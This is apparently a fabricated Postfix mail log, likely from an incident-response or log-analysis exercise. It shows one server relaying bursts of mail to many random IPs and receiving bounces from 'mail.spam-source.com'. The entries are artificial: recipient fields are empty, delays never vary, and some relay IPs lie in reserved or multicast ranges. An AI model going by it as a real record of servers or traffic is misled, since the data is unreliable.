postfix/smtp[12462]: 689D4B5C: to=, relay=46.227.182.127[46.227.182.127]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 689D4B5C) +Jul 02 12:03:40 mail-server-3 postfix/smtp[19911]: 15DA78AF: to=, relay=212.218.172.114[212.218.172.114]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 15DA78AF) +Jul 02 12:03:40 mail-server-3 postfix/smtp[19348]: 81A93FF9: to=, relay=6.146.30.121[6.146.30.121]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 81A93FF9) +Jul 02 12:03:40 mail-server-3 postfix/smtp[14626]: 27A051D6: to=, relay=82.134.11.210[82.134.11.210]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 27A051D6) +Jul 02 12:03:40 mail-server-3 postfix/smtp[17176]: 9B9858BF: to=, relay=229.214.50.80[229.214.50.80]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 9B9858BF) +Jul 02 12:03:40 mail-server-3 postfix/bounce[20164]: 43F23772: sender non-delivery notification: 43F23772 +Jul 02 12:03:40 mail-server-3 postfix/smtp[20164]: 43F23772: to=, relay=mail.spam-source.com, delay=0.1, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Jul 02 12:03:45 mail-server-3 postfix/smtp[19188]: E08FFF30: to=, relay=135.168.214.185[135.168.214.185]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as E08FFF30) +Jul 02 12:03:45 mail-server-3 postfix/smtp[14327]: 4AECEF4C: to=, relay=3.214.11.80[3.214.11.80]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 4AECEF4C) +Jul 02 12:03:45 mail-server-3 postfix/smtp[17018]: AAE367E0: to=, relay=222.44.63.116[222.44.63.116]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as AAE367E0) +Jul 02 12:03:45 mail-server-3 postfix/smtp[11995]: 90767601: to=, relay=254.148.170.218[254.148.170.218]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 90767601) +Jul 02 12:03:45 mail-server-3 postfix/smtp[19557]: 3D034F3C: to=, relay=144.114.143.83[144.114.143.83]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 3D034F3C) +Jul 02 12:03:45 mail-server-3 postfix/bounce[22101]: E6EF7F85: sender non-delivery notification: E6EF7F85 +Jul 02 12:03:45 mail-server-3 postfix/smtp[22101]: E6EF7F85: to=, relay=mail.spam-source.com, delay=0.1, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Jul 02 12:03:50 mail-server-3 postfix/smtp[15634]: 281E0C3F: to=, relay=206.164.148.23[206.164.148.23]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 281E0C3F) +Jul 02 12:03:50 mail-server-3 postfix/smtp[16981]: D6C04795: to=, relay=94.1.199.31[94.1.199.31]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as D6C04795) +Jul 02 12:03:50 mail-server-3 postfix/smtp[19299]: 49C24A32: to=, relay=249.103.65.220[249.103.65.220]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 49C24A32) +Jul 02 12:03:50 mail-server-3 postfix/smtp[13685]: 815A054E: to=, relay=24.161.154.185[24.161.154.185]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 815A054E) +Jul 02 12:03:50 mail-server-3 postfix/smtp[14733]: E8E91E8C: to=, relay=135.2.194.31[135.2.194.31]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as E8E91E8C) +Jul 02 12:03:50 mail-server-3 postfix/smtp[17112]: D70C358C: to=, relay=223.99.175.83[223.99.175.83]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as D70C358C) +Jul 02 12:03:50 mail-server-3 postfix/bounce[22546]: 95A00365: sender non-delivery notification: 95A00365 +Jul 02 12:03:50 mail-server-3 postfix/smtp[22546]: 95A00365: to=, relay=mail.spam-source.com, delay=0.1, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Jul 02 12:03:55 mail-server-3 postfix/smtp[19913]: AAA4818D: to=, relay=125.252.239.185[125.252.239.185]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as AAA4818D) +Jul 02 12:03:55 mail-server-3 postfix/smtp[17383]: 06CEC79E: to=, relay=164.186.120.45[164.186.120.45]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 06CEC79E) +Jul 02 12:03:55 mail-server-3 postfix/smtp[14392]: AF1AA9E1: to=, relay=183.58.233.120[183.58.233.120]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as AF1AA9E1) +Jul 02 12:03:55 mail-server-3 postfix/smtp[17032]: 5196A3DE: to=, relay=216.235.186.95[216.235.186.95]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 5196A3DE) +Jul 02 12:03:55 mail-server-3 postfix/smtp[17211]: FAA97AC5: to=, relay=79.8.65.144[79.8.65.144]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as FAA97AC5) +Jul 02 12:03:55 mail-server-3 postfix/smtp[10522]: 26651E01: to=, relay=164.96.226.67[164.96.226.67]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 26651E01) +Jul 02 12:03:55 mail-server-3 postfix/smtp[12664]: B66E3F75: to=, relay=210.212.136.99[210.212.136.99]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as B66E3F75) +Jul 02 12:03:55 mail-server-3 postfix/smtp[19391]: 8F998A7F: to=, relay=157.98.0.6[157.98.0.6]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 8F998A7F) +Jul 02 12:04:00 mail-server-3 postfix/smtp[13726]: 89C1BD61: to=, relay=135.83.197.9[135.83.197.9]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 89C1BD61) +Jul 02 12:04:00 mail-server-3 postfix/smtp[12708]: 15291E8F: to=, relay=102.28.9.138[102.28.9.138]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 15291E8F) +Jul 02 12:04:00 mail-server-3 postfix/smtp[10337]: 3CAA0307: to=, relay=134.105.192.70[134.105.192.70]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 3CAA0307) +Jul 02 12:04:00 mail-server-3 postfix/smtp[19532]: 382E23AE: to=, relay=238.207.99.154[238.207.99.154]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 382E23AE) +Jul 02 12:04:00 mail-server-3 postfix/smtp[15220]: 4A4064A4: to=, relay=37.27.102.238[37.27.102.238]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 4A4064A4) +Jul 02 12:04:00 mail-server-3 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:04:05 mail-server-3 postfix/smtp[12717]: 74DA9001: to=, relay=169.175.24.137[169.175.24.137]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 74DA9001) +Jul 02 12:04:05 mail-server-3 postfix/smtp[19148]: E38F17B6: to=, relay=108.133.145.119[108.133.145.119]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as E38F17B6) +Jul 02 12:04:05 mail-server-3 postfix/smtp[15494]: ED64D990: to=, relay=119.206.40.227[119.206.40.227]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as ED64D990) +Jul 02 12:04:05 mail-server-3 postfix/smtp[11116]: 44AC90BF: to=, relay=14.172.93.189[14.172.93.189]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 44AC90BF) +Jul 02 12:04:05 mail-server-3 postfix/smtp[12572]: 8457144E: to=, relay=50.168.252.84[50.168.252.84]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 8457144E) +Jul 02 12:04:10 mail-server-3 postfix/smtp[18275]: FE52FCD4: to=, relay=230.52.200.86[230.52.200.86]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as FE52FCD4) +Jul 02 12:04:10 mail-server-3 postfix/smtp[10762]: 30C000D3: to=, relay=24.4.129.5[24.4.129.5]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 30C000D3) +Jul 02 12:04:10 mail-server-3 postfix/smtp[14362]: 350F7D05: to=, relay=249.149.186.149[249.149.186.149]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 350F7D05) +Jul 02 12:04:10 mail-server-3 postfix/smtp[10308]: 70EBC0DD: to=, relay=29.157.143.133[29.157.143.133]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 70EBC0DD) +Jul 02 12:04:10 mail-server-3 postfix/smtp[13344]: 19C58C5F: to=, relay=19.220.98.132[19.220.98.132]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 19C58C5F) +Jul 02 12:04:10 mail-server-3 postfix/smtp[16072]: 949A5C2A: to=, relay=190.162.15.171[190.162.15.171]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 949A5C2A) +Jul 02 12:04:10 mail-server-3 postfix/bounce[22402]: 461066DB: sender non-delivery notification: 461066DB +Jul 02 12:04:10 mail-server-3 postfix/smtp[22402]: 461066DB: to=, relay=mail.spam-source.com, delay=0.1, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Jul 02 12:04:15 mail-server-3 postfix/smtp[16037]: 300447C6: to=, relay=123.166.189.237[123.166.189.237]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 300447C6) +Jul 02 12:04:15 mail-server-3 postfix/smtp[12603]: 23604542: to=, relay=181.93.206.62[181.93.206.62]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 23604542) +Jul 02 12:04:15 mail-server-3 postfix/smtp[18093]: 6B4E5963: to=, relay=241.186.207.184[241.186.207.184]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 6B4E5963) +Jul 02 12:04:15 mail-server-3 postfix/smtp[19243]: E0ACEEBA: to=, relay=199.251.101.252[199.251.101.252]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as E0ACEEBA) +Jul 02 12:04:15 mail-server-3 postfix/smtp[11919]: 7D6C2E84: to=, relay=147.157.222.164[147.157.222.164]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 7D6C2E84) +Jul 02 12:04:15 mail-server-3 postfix/smtp[15395]: 134519D6: to=, relay=16.163.82.181[16.163.82.181]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 134519D6) +Jul 02 12:04:15 mail-server-3 postfix/smtp[12074]: 79AD94BA: to=, relay=95.129.249.55[95.129.249.55]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 79AD94BA) +Jul 02 12:04:15 mail-server-3 postfix/smtp[11419]: 7A9C15E0: to=, relay=248.46.153.118[248.46.153.118]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 7A9C15E0) +Jul 02 12:04:20 mail-server-3 postfix/smtp[11465]: 9B373618: to=, relay=107.40.145.111[107.40.145.111]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 9B373618) +Jul 02 12:04:20 mail-server-3 postfix/smtp[14315]: F5C17010: to=, relay=187.127.107.223[187.127.107.223]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as F5C17010) +Jul 02 12:04:20 mail-server-3 postfix/smtp[12424]: 56148D33: to=, relay=226.210.19.114[226.210.19.114]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 56148D33) +Jul 02 12:04:20 mail-server-3 postfix/smtp[14749]: 033099F0: to=, relay=158.125.248.235[158.125.248.235]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 033099F0) +Jul 02 12:04:20 mail-server-3 postfix/smtp[13130]: F4C58539: to=, relay=211.73.224.34[211.73.224.34]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as F4C58539) +Jul 02 12:04:25 mail-server-3 postfix/smtp[11719]: D04B2330: to=, relay=96.82.7.221[96.82.7.221]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as D04B2330) +Jul 02 12:04:25 mail-server-3 postfix/smtp[11958]: 0CDB664A: to=, relay=178.142.108.199[178.142.108.199]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 0CDB664A) +Jul 02 12:04:25 mail-server-3 postfix/smtp[14428]: FAC0D184: to=, relay=195.172.63.255[195.172.63.255]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as FAC0D184) +Jul 02 12:04:25 mail-server-3 postfix/smtp[13994]: 4CDB636E: to=, relay=82.81.101.39[82.81.101.39]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 4CDB636E) +Jul 02 12:04:25 mail-server-3 postfix/smtp[10483]: 4988C84C: to=, relay=76.171.46.45[76.171.46.45]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 4988C84C) +Jul 02 12:04:25 mail-server-3 postfix/smtp[17768]: 7ED6947B: to=, relay=134.239.229.27[134.239.229.27]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 7ED6947B) +Jul 02 12:04:25 mail-server-3 postfix/bounce[26472]: 0B6B147B: sender non-delivery notification: 0B6B147B +Jul 02 12:04:25 mail-server-3 postfix/smtp[26472]: 0B6B147B: to=, relay=mail.spam-source.com, delay=0.1, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Jul 02 12:04:30 mail-server-3 postfix/smtp[15411]: 68148FCA: to=, relay=52.203.75.187[52.203.75.187]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 68148FCA) +Jul 02 12:04:30 mail-server-3 postfix/smtp[11949]: 2A483C7A: to=, relay=193.203.176.123[193.203.176.123]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 2A483C7A) +Jul 02 12:04:30 mail-server-3 postfix/smtp[11839]: 4CB2F231: to=, relay=234.196.19.107[234.196.19.107]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 4CB2F231) +Jul 02 12:04:30 mail-server-3 postfix/smtp[10381]: 2DFE302C: to=, relay=91.99.78.228[91.99.78.228]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 2DFE302C) +Jul 02 12:04:30 mail-server-3 postfix/smtp[17522]: 09E9066C: to=, relay=40.73.49.200[40.73.49.200]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 09E9066C) +Jul 02 12:04:30 mail-server-3 postfix/smtp[16607]: 93764EA3: to=, relay=143.228.130.102[143.228.130.102]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 93764EA3) +Jul 02 12:04:30 mail-server-3 postfix/smtp[17231]: 7468B59A: to=, relay=28.136.162.114[28.136.162.114]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 7468B59A) +Jul 02 12:04:35 mail-server-3 postfix/smtp[18951]: ABC51F73: to=, relay=36.156.215.244[36.156.215.244]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as ABC51F73) +Jul 02 12:04:35 mail-server-3 postfix/smtp[18920]: 07D4C4F9: to=, relay=161.174.220.138[161.174.220.138]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 07D4C4F9) +Jul 02 12:04:35 mail-server-3 postfix/smtp[15261]: A29E4539: to=, relay=151.181.39.131[151.181.39.131]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as A29E4539) +Jul 02 12:04:35 mail-server-3 postfix/smtp[10246]: 45B472B8: to=, relay=42.120.183.255[42.120.183.255]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 45B472B8) +Jul 02 12:04:35 mail-server-3 postfix/smtp[14218]: 87A99D2C: to=, relay=39.80.75.181[39.80.75.181]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 87A99D2C) +Jul 02 12:04:35 mail-server-3 postfix/smtp[14274]: 5573E803: to=, relay=175.234.111.22[175.234.111.22]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 5573E803) +Jul 02 12:04:35 mail-server-3 postfix/smtp[13140]: C1FBF1A3: to=, relay=213.26.147.41[213.26.147.41]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as C1FBF1A3) +Jul 02 12:04:35 mail-server-3 postfix/smtp[14655]: 53619E72: to=, relay=219.189.65.118[219.189.65.118]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 53619E72) +Jul 02 12:04:35 mail-server-3 postfix/bounce[28595]: DC8473D0: sender non-delivery notification: DC8473D0 +Jul 02 12:04:35 mail-server-3 postfix/smtp[28595]: DC8473D0: to=, relay=mail.spam-source.com, delay=0.1, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Jul 02 12:04:40 mail-server-3 postfix/smtp[19923]: 03331D00: to=, relay=204.167.157.69[204.167.157.69]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 03331D00) +Jul 02 12:04:40 mail-server-3 postfix/smtp[10951]: F7762123: to=, relay=60.14.88.128[60.14.88.128]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as F7762123) +Jul 02 12:04:40 mail-server-3 postfix/smtp[14512]: 79483AA5: to=, relay=53.127.156.246[53.127.156.246]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 79483AA5) +Jul 02 12:04:40 mail-server-3 postfix/smtp[10256]: C57F8586: to=, relay=27.123.189.160[27.123.189.160]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as C57F8586) +Jul 02 12:04:40 mail-server-3 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:04:45 mail-server-3 postfix/smtp[17552]: 2B80051B: to=, relay=152.40.157.136[152.40.157.136]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 2B80051B) +Jul 02 12:04:45 mail-server-3 postfix/smtp[10653]: A734AB53: to=, relay=49.55.250.94[49.55.250.94]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as A734AB53) +Jul 02 12:04:45 mail-server-3 postfix/smtp[19650]: 933DE378: to=, relay=134.183.61.97[134.183.61.97]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 933DE378) +Jul 02 12:04:45 mail-server-3 postfix/smtp[12117]: 6353C92C: to=, relay=34.45.96.151[34.45.96.151]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 6353C92C) +Jul 02 12:04:45 mail-server-3 postfix/smtp[11363]: 696973FD: to=, relay=194.83.85.104[194.83.85.104]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 696973FD) +Jul 02 12:04:45 mail-server-3 postfix/smtp[11350]: 5B3C8919: to=, relay=130.249.157.184[130.249.157.184]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 5B3C8919) +Jul 02 12:04:45 mail-server-3 postfix/smtp[12850]: 097D7FE9: to=, relay=213.239.209.83[213.239.209.83]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 097D7FE9) +Jul 02 12:04:45 mail-server-3 postfix/smtp[14743]: 2A8A02C4: to=, relay=236.11.196.194[236.11.196.194]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 2A8A02C4) +Jul 02 12:04:50 mail-server-3 postfix/smtp[16117]: ECE10F40: to=, relay=86.27.183.120[86.27.183.120]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as ECE10F40) +Jul 02 12:04:50 mail-server-3 postfix/smtp[15331]: B58E11D7: to=, relay=58.52.214.177[58.52.214.177]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as B58E11D7) +Jul 02 12:04:50 mail-server-3 postfix/smtp[10431]: E385346B: to=, relay=45.163.152.77[45.163.152.77]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as E385346B) +Jul 02 12:04:50 mail-server-3 postfix/smtp[12995]: 9DA0B326: to=, relay=129.41.195.237[129.41.195.237]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 9DA0B326) +Jul 02 12:04:50 mail-server-3 postfix/smtp[10989]: 372E6956: to=, relay=61.255.121.208[61.255.121.208]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 372E6956) +Jul 02 12:04:50 mail-server-3 postfix/smtp[11448]: 5B172AFB: to=, relay=217.46.103.237[217.46.103.237]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 5B172AFB) +Jul 02 12:04:50 mail-server-3 postfix/smtp[12974]: 005A074D: to=, relay=205.232.227.219[205.232.227.219]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 005A074D) +Jul 02 12:04:55 mail-server-3 postfix/smtp[10893]: 9F42F3D7: to=, relay=45.126.234.222[45.126.234.222]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 9F42F3D7) +Jul 02 12:04:55 mail-server-3 postfix/smtp[15823]: 6CA30096: to=, relay=16.149.102.183[16.149.102.183]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 6CA30096) +Jul 02 12:04:55 mail-server-3 postfix/smtp[19716]: A5C001EA: to=, relay=188.110.236.156[188.110.236.156]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as A5C001EA) +Jul 02 12:04:55 mail-server-3 postfix/smtp[18903]: DE500EA7: to=, relay=2.121.177.119[2.121.177.119]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as DE500EA7) +Jul 02 12:04:55 mail-server-3 postfix/smtp[14893]: 61BA0371: to=, relay=31.148.133.180[31.148.133.180]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 61BA0371) +Jul 02 12:05:00 mail-server-3 postfix/smtp[12961]: 01D2129E: to=, relay=234.252.110.179[234.252.110.179]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 01D2129E) +Jul 02 12:05:00 mail-server-3 postfix/smtp[18479]: DE6E0451: to=, relay=44.21.127.227[44.21.127.227]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as DE6E0451) +Jul 02 12:05:00 mail-server-3 postfix/smtp[10381]: D9B8BE03: to=, relay=144.197.198.46[144.197.198.46]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as D9B8BE03) +Jul 02 12:05:00 mail-server-3 postfix/smtp[12831]: 702A318C: to=, relay=251.154.183.11[251.154.183.11]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 702A318C) +Jul 02 12:05:05 mail-server-3 postfix/smtp[18276]: 2690E48F: to=, relay=230.250.24.25[230.250.24.25]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 2690E48F) +Jul 02 12:05:05 mail-server-3 postfix/smtp[11113]: 58F5747C: to=, relay=9.155.123.96[9.155.123.96]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 58F5747C) +Jul 02 12:05:05 mail-server-3 postfix/smtp[13709]: 66E83F52: to=, relay=146.50.18.48[146.50.18.48]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 66E83F52) +Jul 02 12:05:05 mail-server-3 postfix/smtp[12086]: DA110FC9: to=, relay=166.133.152.148[166.133.152.148]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as DA110FC9) +Jul 02 12:05:05 mail-server-3 postfix/bounce[28593]: 3193CF4F: sender non-delivery notification: 3193CF4F +Jul 02 12:05:05 mail-server-3 postfix/smtp[28593]: 3193CF4F: to=, relay=mail.spam-source.com, delay=0.1, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Jul 02 12:05:10 mail-server-3 postfix/smtp[17266]: F965D1BA: to=, relay=55.122.80.150[55.122.80.150]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as F965D1BA) +Jul 02 12:05:10 mail-server-3 postfix/smtp[17835]: F2A4088F: to=, relay=227.146.245.221[227.146.245.221]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as F2A4088F) +Jul 02 12:05:10 mail-server-3 postfix/smtp[14094]: 1500BCFD: to=, relay=172.229.99.127[172.229.99.127]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 1500BCFD) +Jul 02 12:05:10 mail-server-3 postfix/smtp[12489]: 16A76F01: to=, relay=106.164.74.193[106.164.74.193]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 16A76F01) +Jul 02 12:05:10 mail-server-3 postfix/smtp[10797]: CB54A6CE: to=, relay=9.81.138.63[9.81.138.63]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as CB54A6CE) +Jul 02 12:05:10 mail-server-3 postfix/bounce[20415]: 757E7F20: sender non-delivery notification: 757E7F20 +Jul 02 12:05:10 mail-server-3 postfix/smtp[20415]: 757E7F20: to=, relay=mail.spam-source.com, delay=0.1, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Jul 02 12:05:15 mail-server-3 postfix/smtp[18383]: 710594DA: to=, 